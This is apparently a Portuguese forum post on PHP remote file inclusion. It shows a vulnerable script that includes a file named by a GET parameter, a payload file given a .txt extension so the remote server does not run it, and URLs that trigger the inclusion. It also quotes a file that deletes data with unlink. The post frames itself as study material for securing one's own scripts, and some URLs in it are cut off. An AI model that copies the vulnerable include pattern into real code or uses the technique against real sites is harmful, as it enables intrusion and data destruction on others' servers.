Com relação a incluir arquivos externos, existe um pequeno ponto que acho q nao está claro.
Quando vc acessar um arquivo php de um servidor (qualquer site, por exemplo, a wmonline), o que vc vê? o código fonte? não, você vê o resultado do script!
Agora, se vc tem um arquivo (como o Hyoga de Cisne fez), com nome de fode.php e com o conteudo:
<?php
unlink('arquivo.importante');
?>
O que vai contecer quando ele for acessado? ele vai executar a instrução e não retornará nada! então quando ele for incluido de outro servidor, o que será incluido na pagina??? nada!
Então para esses ataques, os arquivos tem normalmente extenção .txt, pois assim ele não é interpretado, e o que o arquivo vai receber no include será o código fonte (que queremos que seja executado).
Exemplo:
arquivo.php (arquivo com falta de segurança):
<?php
$teste = 'num funcionou';
@include($_GET['file']);
echo $teste;
?>
fode.txt (com extenção .txt mesmo!):
<?php
$teste = 'testando: incluir arquivo de outro servidor';
?>
Agora coloque o arquivo.php em um servidor, e fode.txt em outro.
Acesse o arquivo.php com:
http://www.site.com.br/arquivo.phpO que apareceu? "num funcionou".
Agora acesse como:
http://www.site.com....com.br/fode.txtO que apareceu?
Obs.: essas informações são somente para estudos, a fim de proteger seus próprios scripts. Não saia por aí tentando invadir o site dos outros.